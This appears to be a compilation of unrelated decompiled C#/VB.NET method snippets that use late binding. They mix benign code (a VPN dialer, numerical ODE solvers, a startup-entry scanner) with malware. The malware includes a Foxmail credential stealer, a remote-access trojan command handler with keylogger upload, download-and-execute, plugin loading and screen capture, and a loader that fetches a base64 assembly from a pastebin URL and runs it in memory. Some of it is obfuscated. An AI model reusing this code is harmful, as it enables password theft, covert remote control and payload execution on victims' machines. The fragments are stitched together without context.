public void Connect() { if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(this.GlobalOBJ, (Type)null, "InvokeRequired", new object[0], (string[])null, (Type[])null, (bool[])null), (object)true, false)) { NewLateBinding.LateCall(this.GlobalOBJ, (Type)null, "BeginInvoke", new object[2] { (object)new RasDialUC.d_Connect(this.Connect), (object)new object[0] }, (string[])null, (Type[])null, (bool[])null, true); } else if (this.GetStatus() == 8192) { RAS_Variable.clsTXT_VPN fnVpn = RAS_Variable.FN_VPN; string sText = "You are already connected."; fnVpn.TXT(ref sText); } else { if (!Information.IsNothing((object)this.tmrMonitorConnected)) { this.tmrMonitorConnected.Stop(); this.tmrMonitorConnected.Elapsed -= new ElapsedEventHandler(this.tmrMonitorConnected_Elapsed); this.tmrMonitorConnected = (Timer)null; } if (MyProject.Forms.frmMain_RasDialex.AutoConnectRasDial) { this.tmrMonitorConnected = new Timer(); this.tmrMonitorConnected.AutoReset = false; this.tmrMonitorConnected.Elapsed += new ElapsedEventHandler(this.tmrMonitorConnected_Elapsed); this.tmrMonitorConnected.Interval = (double)this.WaitConnected; this.tmrMonitorConnected.Start(); } switch (this.VPN_Reboot_Method) { case 0: if (!this.OptionsOK) { this.ErrorSend(100040); break; } IntPtr lprasDialExtensions; IntPtr lphRasConn; int num = RasDialUC.RasDial(lprasDialExtensions, (string)null, ref this.MainOptions, 1U, (Delegate)this.del, ref lphRasConn); if (num != 0) { this.ErrorSend(checked (num + 50000)); break; } this.MainHeader = lphRasConn; break; case 1: try { MyProject.Forms.frmMain_RasDialex.lblMon.Text = "Hard Connect"; string str1 = Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\rasdial.exe"; Process process = new Process(); process.StartInfo.FileName = str1; string str2 = Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtEntryName.Text) + " " + Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtUserName.Text) + " " + Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtPassword.Text) + " /PHONE:" + Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtPhoneNumber.Text); process.StartInfo.Arguments = str2; process.StartInfo.WindowStyle = !MyProject.Forms.frmMain_RasDialex.VisibleCMD ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal; process.Start(); _FUNCTION.clsTXT fn = _FUNCTION.FN; string sText = str1 + " " + str2; fn.TXT(ref sText); break; } catch (Exception ex) { ProjectData.SetProjectError(ex); Exception exception = ex; _FUNCTION.clsTXT fn = _FUNCTION.FN; string sText = "RasDialEx Error: " + exception.Message; fn.TXT(ref sText); this.ErrorSend(100041); ProjectData.ClearProjectError(); break; } case 2: try { string externalProgram = MyProject.Forms.frmMain_RasDialex.ExternalProgram; new Process() { StartInfo = { FileName = externalProgram, Arguments = MyProject.Forms.frmMain_RasDialex.ExternalProgram_ParamConnect, WindowStyle = (!MyProject.Forms.frmMain_RasDialex.VisibleCMD ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal) } }.Start(); _FUNCTION.clsTXT fn = _FUNCTION.FN; string sText = externalProgram + " " + MyProject.Forms.frmMain_RasDialex.ExternalProgram_ParamConnect; fn.TXT(ref sText); break; } catch (Exception ex) { ProjectData.SetProjectError(ex); Exception exception = ex; _FUNCTION.clsTXT fn = _FUNCTION.FN; string sText = "RasDialEx Error: " + exception.Message; fn.TXT(ref sText); this.ErrorSend(100041); ProjectData.ClearProjectError(); break; } } } }
// Token: 0x060000B1 RID: 177 RVA: 0x0000C48C File Offset: 0x0000A68C public static object GetFoxmail() { string text = string.Empty; object result; try { object obj = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command").GetValue("").ToString(); object instance = obj; Type type = null; string memberName = "Remove"; object[] array = new object[1]; object[] array2 = array; int num = 0; object obj2 = obj; object instance2 = obj2; Type type2 = null; string memberName2 = "LastIndexOf"; object[] array3 = new object[1]; object[] array4 = array3; int num2 = 0; string text2 = "Foxmail.exe"; array4[num2] = text2; array2[num] = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(instance2, type2, memberName2, array3, null, null, null)); object[] array5 = array; object[] arguments = array5; string[] argumentNames = null; Type[] typeArguments = null; bool[] array6 = new bool[] { true }; object instance3 = NewLateBinding.LateGet(instance, type, memberName, arguments, argumentNames, typeArguments, array6); if (array6[0]) { NewLateBinding.LateSetComplex(obj2, null, "LastIndexOf", new object[] { text2, RuntimeHelpers.GetObjectValue(array5[0]) }, null, null, true, false); } obj = Operators.ConcatenateObject(NewLateBinding.LateGet(instance3, null, "Replace", new object[] { "\"", "" }, null, null, null), "Storage\\"); foreach (string text3 in Directory.GetDirectories(Conversions.ToString(obj), "*@*", SearchOption.TopDirectoryOnly)) { try { string str = text3.Substring(text3.LastIndexOf("\\") + 1); string path = text3 + "\\Accounts\\Account.rec0"; object obj3 = new FileStream(path, FileMode.Open); object obj4 = Conversions.ToInteger(NewLateBinding.LateGet(obj3, null, "Length", new object[0], null, null, null)); object obj5 = new byte[Conversions.ToInteger(Operators.SubtractObject(obj4, 1)) + 1]; bool flag = false; string text4 = ""; object instance4 = obj3; Type type3 = null; string memberName3 = "Read"; object[] array7 = new object[] { RuntimeHelpers.GetObjectValue(obj5), 0, RuntimeHelpers.GetObjectValue(obj4) }; object[] arguments2 = array7; string[] argumentNames2 = null; Type[] typeArguments2 = null; array6 = new bool[] { true, false, true }; NewLateBinding.LateCall(instance4, type3, memberName3, arguments2, argumentNames2, typeArguments2, array6, true); if (array6[0]) { obj5 = RuntimeHelpers.GetObjectValue(array7[0]); } if (array6[2]) { obj4 = RuntimeHelpers.GetObjectValue(array7[2]); } int num3; if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet(obj5, new object[] { 0 }, null), 208, false)) { num3 = 0; } else { num3 = 1; } int num4 = 0; int num5 = Conversions.ToInteger(Operators.SubtractObject(obj4, 1)); for (int j = num4; j <= num5; j++) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null), 127, false) && Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null), 61, false)) { text4 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null)))); string str2 = ""; if (text4.Equals("Account") || text4.Equals("POP3Account")) { int num6 = j + 9; if (num3 == 0) { num6 = j + 2; } while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[] { num6 }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[] { num6 }, null), 127, false)) { str2 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[] { num6 }, null)))); num6++; } flag = true; j = num6; } else if (flag && (text4.Equals("Password") || text4.Equals("POP3Password"))) { int num7 = j + 9; if (num3 == 0) { num7 = j + 2; } string text5 = ""; while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[] { num7 }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[] { num7 }, null), 127, false)) { text5 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[] { num7 }, null)))); num7++; } if (Operators.CompareString(text, string.Empty, false) == 0) { text += "Foxmail:\r\n"; } text = text + "User:"******"\r\n"; text = text + "Pass:"******"\r\n\r\n"; break; } } else { text4 = ""; } } NewLateBinding.LateCall(obj3, null, "Close", new object[0], null, null, null, true); } catch (Exception ex) { } } if (Operators.CompareString(text, string.Empty, false) != 0) { text += "\r\n"; } result = text; } catch (Exception ex2) { } return(result); }
// Token: 0x06000190 RID: 400 RVA: 0x00033C00 File Offset: 0x00031E00 public static string luz(string lvy) { string text; int num4; int num5; object obj; try { for (;;) { IL_00: int num = 1; object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject(<Module>.smethod_strings_decryptor(304664 -> "WScript.Shell")), "")); for (;;) { IL_13E: uint num2 = 3040044305u; for (;;) { uint num3; switch ((num3 = (num2 ^ 3968014358u)) % 11u) { case 0u: goto IL_152; case 1u: goto IL_7C; case 2u: goto IL_70; case 4u: { object instance = objectValue; Type type = null; string memberName = <Module>.smethod_strings_decryptor(304224 -> "RegRead")); object[] array = new object[] { lvy }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true }; object value = NewLateBinding.LateGet(instance, type, memberName, arguments, argumentNames, typeArguments, array2); if (array2[0]) { lvy = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string)); } text = Conversions.ToString(value); num2 = 3193670253u; continue; } case 5u: goto IL_13E; case 6u: IL_145: num4 = num; num2 = 3464943127u; continue; case 7u: goto IL_46; case 8u: num5 = 1; num2 = (num3 * 2051545371u ^ 1263723819u); continue; case 9u: switch (num5) { case 0: break; case 1: goto IL_46; default: num2 = (num3 * 3833207169u ^ 1740464875u); continue; } break; } goto Block_5; IL_46: int num6 = num4 + 1; num4 = 0; switch (num6) { case 0: goto IL_154; case 1: goto IL_00; case 2: IL_70: ProjectData.ClearProjectError(); num2 = 4148705851u; break; case 3: IL_7C: num = 3; num2 = 3798194993u; break; case 4: goto IL_152; default: num2 = 2627601005u; break; } } } } Block_5: goto IL_178; IL_152: goto IL_183; IL_154:; } catch when (endfilter(obj is Exception & num5 != 0 & num4 == 0)) { Exception ex = (Exception)obj2; goto IL_145; } IL_178: throw ProjectData.CreateProjectError(-2146828237); IL_183: string result = text; if (num4 != 0) { ProjectData.ClearProjectError(); } return result; }
// Token: 0x06000894 RID: 2196 RVA: 0x000436C0 File Offset: 0x000418C0 public void detect() { this.subkeyNames = Registry.CurrentUser.OpenSubKey(this.keyName).GetSubKeyNames(); this.valueNames = Registry.CurrentUser.OpenSubKey(this.keyName).GetValueNames(); this.ChProgressbar1.Value = 0; this.Lv1.Items.Clear(); this.ChProgressbar1.Maximum = this.valueNames.Length; string[] array = this.valueNames; checked { for (int i = 0; i < array.Length; i++) { string text = array[i]; CHProgressbar chProgressbar = this.ChProgressbar1; chProgressbar.Value++; ListViewItem listViewItem = new ListViewItem(); new ListViewItem(); int num = Strings.InStr(Conversions.ToString(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)), "..", CompareMethod.Binary); if (num != 0) { object objectValue = RuntimeHelpers.GetObjectValue(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)); objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[] { "\"", "" }, null, null, null)); objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[] { " ", "" }, null, null, null)); objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[] { "..", "" }, null, null, null)); FileInfo fileInfo = new FileInfo(Conversions.ToString(objectValue)); if (File.Exists(fileInfo.FullName)) { listViewItem.Text = fileInfo.Name; } else { listViewItem.Text = "Not found"; } if (File.Exists(this.startup + "\\" + text + ".exe")) { listViewItem.SubItems.Add(text + ".exe"); } else { listViewItem.SubItems.Add("Not found"); } object arg_23A_0 = listViewItem.SubItems; Type arg_23A_1 = null; string arg_23A_2 = "Add"; object[] array2 = new object[] { RuntimeHelpers.GetObjectValue(objectValue) }; object[] arg_23A_3 = array2; string[] arg_23A_4 = null; Type[] arg_23A_5 = null; bool[] array3 = new bool[] { true }; NewLateBinding.LateCall(arg_23A_0, arg_23A_1, arg_23A_2, arg_23A_3, arg_23A_4, arg_23A_5, array3, true); if (array3[0]) { objectValue = RuntimeHelpers.GetObjectValue(array2[0]); } listViewItem.SubItems.Add(Registry.CurrentUser.OpenSubKey(this.keyName).ToString() + "\\" + text); listViewItem.SubItems.Add(text); listViewItem.ImageIndex = 0; this.Lv1.Items.Add(listViewItem); } } this.Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); ima.F.sl.Text = "Detected : " + Conversions.ToString(this.Lv1.Items.Count); if (this.Lv1.Items.Count == 0) { this.Button1.Text = "Scan.."; } else if (this.Lv1.Items.Count == 1) { this.Button1.Text = "Remove"; } else { this.Button1.Text = "Remove all"; } } }
public static void HandleData(byte[] b) { string[] array = Strings.Split(BytesToString(ref b), splitter, -1, CompareMethod.Binary); checked { try { string left = array[0]; if (Operators.CompareString(left, "ll", false) == 0) { isConnected = false; } else if (Operators.CompareString(left, "kl", false) == 0) { Send("kl" + splitter + StringToBase64(ref keylogger.Logs)); } else if (Operators.CompareString(left, "prof", false) == 0) { string left2 = array[1]; if (Operators.CompareString(left2, "~", false) == 0) { SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String); } else if (Operators.CompareString(left2, "!", false) == 0) { SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String); Send(Conversions.ToString(Operators.ConcatenateObject("getvalue" + splitter + array[1] + splitter, GetValueFromRegistry(array[1], "")))); } else if (Operators.CompareString(left2, "@", false) == 0) { DeleteValueFromRegistry(array[2]); } } else { if (Operators.CompareString(left, "rn", false) == 0) { byte[] bytes; if (array[2][0] == '\u001f') { try { MemoryStream memoryStream = new MemoryStream(); int length = (array[0] + splitter + array[1] + splitter).Length; memoryStream.Write(b, length, b.Length - length); bytes = DecompressGzip(memoryStream.ToArray()); goto IL_20B; } catch { Send("MSG" + splitter + "Execute ERROR"); Send("bla"); return; } } WebClient webClient = new WebClient(); try { bytes = webClient.DownloadData(array[2]); } catch { Send("MSG" + splitter + "Download ERROR"); Send("bla"); return; } IL_20B: Send("bla"); string text = Path.GetTempFileName() + "." + array[1]; try { File.WriteAllBytes(text, bytes); Process.Start(text); Send("MSG" + splitter + "Executed As " + new FileInfo(text).Name); return; } catch (Exception ex) { Send("MSG" + splitter + "Execute ERROR " + ex.Message); ProjectData.ClearProjectError(); return; } } if (Operators.CompareString(left, "inv", false) == 0) { byte[] array2 = (byte[])GetValueFromRegistry(array[1], new byte[0]); if (array[3].Length < 10 & array2.Length == 0) { Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(1) })); } else { if (array[3].Length > 10) { MemoryStream memoryStream2 = new MemoryStream(); int length2 = string.Concat(new string[] { array[0], splitter, array[1], splitter, array[2], splitter }).Length; memoryStream2.Write(b, length2, b.Length - length2); array2 = DecompressGzip(memoryStream2.ToArray()); SaveValueOnRegistry(array[1], array2, RegistryValueKind.Binary); } Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(0) })); object objectValue = RuntimeHelpers.GetObjectValue(Plugin(array2, "A")); NewLateBinding.LateSet(objectValue, null, "h", new object[] { host }, null, null); NewLateBinding.LateSet(objectValue, null, "p", new object[] { port }, null, null); NewLateBinding.LateSet(objectValue, null, "osk", new object[] { array[2] }, null, null); NewLateBinding.LateCall(objectValue, null, "start", new object[0], null, null, null, true); while (!Conversions.ToBoolean(Operators.OrObject(!isConnected, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, null, "Off", new object[0], null, null, null), true, false)))) { Thread.Sleep(1); } NewLateBinding.LateSet(objectValue, null, "off", new object[] { true }, null, null); } } else if (Operators.CompareString(left, "ret", false) == 0) { byte[] array3 = (byte[])GetValueFromRegistry(array[1], new byte[0]); if (array[2].Length < 10 & array3.Length == 0) { Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(1) })); } else { if (array[2].Length > 10) { MemoryStream memoryStream3 = new MemoryStream(); int length3 = (array[0] + splitter + array[1] + splitter).Length; memoryStream3.Write(b, length3, b.Length - length3); array3 = DecompressGzip(memoryStream3.ToArray()); SaveValueOnRegistry(array[1], array3, RegistryValueKind.Binary); } Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(0) })); object objectValue2 = RuntimeHelpers.GetObjectValue(Plugin(array3, "A")); string[] array4 = new string[5]; array4[0] = "ret"; array4[1] = splitter; array4[2] = array[1]; array4[3] = splitter; string[] arg_658_0 = array4; int arg_658_1 = 4; string text2 = Conversions.ToString(NewLateBinding.LateGet(objectValue2, null, "GT", new object[0], null, null, null)); arg_658_0[arg_658_1] = StringToBase64(ref text2); Send(string.Concat(array4)); } } else if (Operators.CompareString(left, "CAP", false) == 0) { int arg_6A9_0 = Screen.PrimaryScreen.Bounds.Width; Rectangle bounds = Screen.PrimaryScreen.Bounds; Bitmap bitmap = new Bitmap(arg_6A9_0, bounds.Height, PixelFormat.Format16bppRgb555); Graphics graphics = Graphics.FromImage(bitmap); Graphics arg_6DB_0 = graphics; int arg_6DB_1 = 0; int arg_6DB_2 = 0; int arg_6DB_3 = 0; int arg_6DB_4 = 0; Size size = new Size(bitmap.Width, bitmap.Height); arg_6DB_0.CopyFromScreen(arg_6DB_1, arg_6DB_2, arg_6DB_3, arg_6DB_4, size, CopyPixelOperation.SourceCopy); try { Cursor arg_702_0 = Cursors.Default; Graphics arg_702_1 = graphics; Point arg_6FB_1 = Cursor.Position; size = new Size(32, 32); bounds = new Rectangle(arg_6FB_1, size); arg_702_0.Draw(arg_702_1, bounds); } catch (Exception expr_709) { ProjectData.SetProjectError(expr_709); ProjectData.ClearProjectError(); } graphics.Dispose(); Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2])); graphics = Graphics.FromImage(bitmap2); graphics.DrawImage(bitmap, 0, 0, bitmap2.Width, bitmap2.Height); graphics.Dispose(); MemoryStream memoryStream4 = new MemoryStream(); string text2 = "CAP" + splitter; b = StringToBytes(ref text2); memoryStream4.Write(b, 0, b.Length); MemoryStream memoryStream5 = new MemoryStream(); bitmap2.Save(memoryStream5, ImageFormat.Jpeg); string left3 = CreateHash(memoryStream5.ToArray()); if (Operators.CompareString(left3, lastCapturedImage, false) != 0) { lastCapturedImage = left3; memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length); } else { memoryStream4.WriteByte(0); } Send(memoryStream4.ToArray()); memoryStream4.Dispose(); memoryStream5.Dispose(); bitmap.Dispose(); bitmap2.Dispose(); } else if (Operators.CompareString(left, "un", false) == 0) { string left4 = array[1]; if (Operators.CompareString(left4, "~", false) == 0) { Uninstall(); } else if (Operators.CompareString(left4, "!", false) == 0) { try { stubMutex.Close(); } catch { } Environment.Exit(0); } else if (Operators.CompareString(left4, "@", false) == 0) { Process.Start(currentAssemblyFileInfo.FullName); try { stubMutex.Close(); } catch { } Environment.Exit(0); } } else if (Operators.CompareString(left, "up", false) == 0) { byte[] bytes2 = null; if (array[1][0] == '\u001f') { try { MemoryStream memoryStream6 = new MemoryStream(); int length4 = (array[0] + splitter).Length; memoryStream6.Write(b, length4, b.Length - length4); bytes2 = DecompressGzip(memoryStream6.ToArray()); goto IL_97B; } catch { Send("MSG" + splitter + "Update ERROR"); Send("bla"); return; } } WebClient webClient2 = new WebClient(); try { bytes2 = webClient2.DownloadData(array[1]); } catch { Send("MSG" + splitter + "Update ERROR"); Send("bla"); return; } IL_97B: Send("bla"); string text3 = Path.GetTempFileName() + ".exe"; try { Send("MSG" + splitter + "Updating To " + new FileInfo(text3).Name); Thread.Sleep(2000); File.WriteAllBytes(text3, bytes2); Process.Start(text3, ".."); } catch (Exception ex2) { Send("MSG" + splitter + "Update ERROR " + ex2.Message); return; } Uninstall(); } else if (Operators.CompareString(left, "Ex", false) == 0) { if (currentPlugin == null) { Send("PLG"); int num = 0; while (!(currentPlugin != null | num == 20 | !isConnected)) { num++; Thread.Sleep(1000); } if (currentPlugin == null | !isConnected) { return; } } object arg_ABB_0 = currentPlugin; Type arg_ABB_1 = null; string arg_ABB_2 = "ind"; object[] array5 = new object[] { b }; object[] arg_ABB_3 = array5; string[] arg_ABB_4 = null; Type[] arg_ABB_5 = null; bool[] array6 = new bool[] { true }; NewLateBinding.LateCall(arg_ABB_0, arg_ABB_1, arg_ABB_2, arg_ABB_3, arg_ABB_4, arg_ABB_5, array6, true); if (array6[0]) { b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[])); } } else if (Operators.CompareString(left, "PLG", false) == 0) { MemoryStream memoryStream7 = new MemoryStream(); int length5 = (array[0] + splitter).Length; memoryStream7.Write(b, length5, b.Length - length5); currentPlugin = RuntimeHelpers.GetObjectValue(Plugin(DecompressGzip(memoryStream7.ToArray()), "A")); NewLateBinding.LateSet(currentPlugin, null, "H", new object[] { host }, null, null); NewLateBinding.LateSet(currentPlugin, null, "P", new object[] { port }, null, null); NewLateBinding.LateSet(currentPlugin, null, "c", new object[] { tcpSocket }, null, null); } } } catch (Exception ex3) { if (array.Length > 0 && (Operators.CompareString(array[0], "Ex", false) == 0 | Operators.CompareString(array[0], "PLG", false) == 0)) { currentPlugin = null; } try { Send(string.Concat(new string[] { "ER", splitter, array[0], splitter, ex3.Message })); } catch { } ProjectData.ClearProjectError(); } } }
private void EJL2M(int Fidx) { Array instance = Array.CreateInstance(typeof(double), 12); int num1 = 1; do { NewLateBinding.LateIndexSet((object)instance, new object[2] { (object)num1, (object)this.Y0 }, (string[])null); ++num1; }while (num1 <= 11); double num2 = this.EPS / 3.0; int num3; do { double x0 = this.X0; double num4 = this.Y0; this.N = 2 * this.N; double num5 = (this.XN - this.X0) / (double)this.N; double num6 = num5 / 2.0; int num7 = (int)Math.Round((double)this.N / 10.0); int num8 = 0; num3 = 0; int num9 = 1; int n = this.N; for (int index = 1; index <= n; ++index) { ++num8; double X = x0; x0 += num5; double Y1 = num4; switch (Fidx) { case 4: double Y2 = Y1 + num6 * this.calcF4(X, Y1); num4 = Y1 + num5 * this.calcF4(X + num6, Y2); break; case 6: double Y3 = Y1 + num6 * this.calcF6(X, Y1); num4 = Y1 + num5 * this.calcF6(X + num6, Y3); break; case 11: double Y4 = Y1 + num6 * this.calcF11(X, Y1); num4 = Y1 + num5 * this.calcF11(X + num6, Y4); break; case 15: double Y5 = Y1 + num6 * this.calcF15(X, Y1); num4 = Y1 + num5 * this.calcF15(X + num6, Y5); break; } if (num8 == num7) { num8 = 0; ++num9; if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet((object)null, typeof(Math), "Abs", new object[1] { Operators.SubtractObject(NewLateBinding.LateIndexGet((object)instance, new object[1] { (object)num9 }, (string[])null), (object)num4) }, (string[])null, (Type[])null, (bool[])null), (object)num2, false)) { ++num3; } NewLateBinding.LateIndexSet((object)instance, new object[2] { (object)num9, (object)num4 }, (string[])null); } } }while (num3 > 0 & this.N < 11); int num10 = 1; do { NewLateBinding.LateIndexSet((object)this.Y, new object[2] { (object)num10, RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)instance, new object[1] { (object)num10 }, (string[])null)) }, (string[])null); ++num10; }while (num10 <= 11); }
private void RUNKU4(int Fidx) { Array instance = Array.CreateInstance(typeof(double), 12); int num1 = 1; do { NewLateBinding.LateIndexSet((object)instance, new object[2] { (object)num1, (object)this.Y0 }, (string[])null); ++num1; }while (num1 <= 11); double num2 = this.EPS / 15.0; int num3; do { double x0 = this.X0; double num4 = this.Y0; this.N = 2 * this.N; double num5 = (this.XN - this.X0) / (double)this.N; double num6 = num5 / 2.0; double num7 = num5 / 6.0; int num8 = (int)Math.Round((double)this.N / 10.0); int num9 = 0; num3 = 0; int num10 = 1; int n = this.N; for (int index = 1; index <= n; ++index) { ++num9; double X1 = x0; double X2 = X1 + num6; x0 += num5; double Y = num4; double num11; double num12; double num13; double num14; switch (Fidx) { case 1: num11 = this.calcF1(X1, Y); num12 = this.calcF1(X2, Y + num11 * num6); num13 = this.calcF1(X2, Y + num12 * num6); num14 = this.calcF1(x0, Y + num13 * num5); break; case 8: num11 = this.calcF8(X1, Y); num12 = this.calcF8(X2, Y + num11 * num6); num13 = this.calcF8(X2, Y + num12 * num6); num14 = this.calcF8(x0, Y + num13 * num5); break; case 10: num11 = this.calcF10(X1, Y); num12 = this.calcF10(X2, Y + num11 * num6); num13 = this.calcF10(X2, Y + num12 * num6); num14 = this.calcF10(x0, Y + num13 * num5); break; case 13: num11 = this.calcF13(X1, Y); num12 = this.calcF13(X2, Y + num11 * num6); num13 = this.calcF13(X2, Y + num12 * num6); num14 = this.calcF13(x0, Y + num13 * num5); break; } num4 = Y + num7 * (num11 + 2.0 * (num12 + num13) + num14); if (num9 == num8) { num9 = 0; ++num10; if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet((object)null, typeof(Math), "Abs", new object[1] { Operators.SubtractObject(NewLateBinding.LateIndexGet((object)instance, new object[1] { (object)num10 }, (string[])null), (object)num4) }, (string[])null, (Type[])null, (bool[])null), (object)num2, false)) { ++num3; } NewLateBinding.LateIndexSet((object)instance, new object[2] { (object)num10, (object)num4 }, (string[])null); } } }while (num3 > 0 & this.N < 11); int num15 = 1; do { NewLateBinding.LateIndexSet((object)this.Y, new object[2] { (object)num15, RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)instance, new object[1] { (object)num15 }, (string[])null)) }, (string[])null); ++num15; }while (num15 <= 11); }
public static void main() { string s = Module1.wb.DownloadString("https://pastebin.com/raw/VGBKCm0j"); byte[] rawAssembly = Convert.FromBase64String(s); object instance = AppDomain.CurrentDomain.Load(rawAssembly); object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(NewLateBinding.LateGet(instance, null, "Entrypoint", new object[0], null, null, null), null, "invoke", new object[] { null, null }, null, null, null)); }
// Token: 0x06000175 RID: 373 RVA: 0x00030C40 File Offset: 0x0002EE40 public static string jlw(string jlq, byte[] jlz, byte[] jmn) { object value = jlq; if (jlq[0] == '_') { value = jlq.Substring(1); } string result; try { byte[] array = Convert.FromBase64String(Conversions.ToString(value)); object instance = new TripleDESCryptoServiceProvider(); byte[] bytes; for (;;) { IL_1C0: uint num = 2798840847u; for (;;) { uint num2; switch ((num2 = (num ^ 2441644919u)) % 6u) { case 1u: NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(289272 -> "Mode")), new object[] { CipherMode.CBC }, null, null); num = (num2 * 2996091882u ^ 3117231597u); continue; case 2u: NewLateBinding.LateSet(instance, null, "Key", new object[] { jlz }, null, null); num = (num2 * 1529882866u ^ 818523684u); continue; case 3u: { NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(289344 -> "Padding")), new object[] { PaddingMode.None }, null, null); object instance2 = NewLateBinding.LateGet(instance, null, <Module>.smethod_strings_decryptor(289320 -> "CreateDecryptor")), new object[0], null, null, null); Type type = null; string memberName = <Module>.smethod_strings_decryptor(288880 -> "TransformFinalBlock")); object[] array2 = new object[] { array, 0, array.Length }; object[] arguments = array2; string[] argumentNames = null; Type[] typeArguments = null; bool[] array3 = new bool[] { true, false, false }; object obj = NewLateBinding.LateGet(instance2, type, memberName, arguments, argumentNames, typeArguments, array3); if (array3[0]) { array = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array2[0]), typeof(byte[])); } bytes = (byte[])obj; num = 3759328199u; continue; } case 4u: NewLateBinding.LateSet(instance, null, "IV", new object[] { jmn }, null, null); num = (num2 * 2872348949u ^ 1740776270u); continue; case 5u: goto IL_1C0; } goto Block_4; } } Block_4: result = Encoding.UTF8.GetString(bytes); } catch (Exception ex) { for (;;) { IL_21B: uint num3 = 2968584005u; for (;;) { uint num2; switch ((num2 = (num3 ^ 2441644919u)) % 3u) { case 1u: result = null; num3 = (num2 * 500181452u ^ 3869677450u); continue; case 2u: goto IL_21B; } goto Block_6; } } Block_6:; } return result; }
private void method_3(string string_0, ref BinFileValue binFileValue_0) { if (binFileValue_0.Value is float[] | binFileValue_0.Value is byte[] | binFileValue_0.Value is ushort[]) { string_0 = string_0.Remove(0, 1); string_0 = string_0.Remove(checked (string_0.Length - 1), 1); string[] array = string_0.Split(','); if (Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateGet(binFileValue_0.Value, null, "Length", new object[0], null, null, null), array.Length, false)) { throw new Exception("The specified array doesn't have the correct dimension."); } if (binFileValue_0.Value is float[]) { object obj = new object(); object loopObj = new object(); if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj, 0, Operators.SubtractObject(NewLateBinding.LateGet(binFileValue_0.Value, null, "Length", new object[0], null, null, null), 1), 1, ref loopObj, ref obj)) { do { NewLateBinding.LateIndexSet(binFileValue_0.Value, new object[] { obj, this.method_1(array[Convert.ToInt32(obj)]) }, null); }while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj, loopObj, ref obj)); } } else { object obj2 = new object(); object loopObj2 = new object(); if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj2, 0, Operators.SubtractObject(NewLateBinding.LateGet(binFileValue_0.Value, null, "Length", new object[0], null, null, null), 1), 1, ref loopObj2, ref obj2)) { do { NewLateBinding.LateIndexSet(binFileValue_0.Value, new object[] { obj2, array[Convert.ToInt32(obj2)] }, null); }while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj2, loopObj2, ref obj2)); } } } else { if (binFileValue_0.Value is float) { binFileValue_0.Value = this.method_1(string_0); } else { binFileValue_0.Value = string_0; } } }
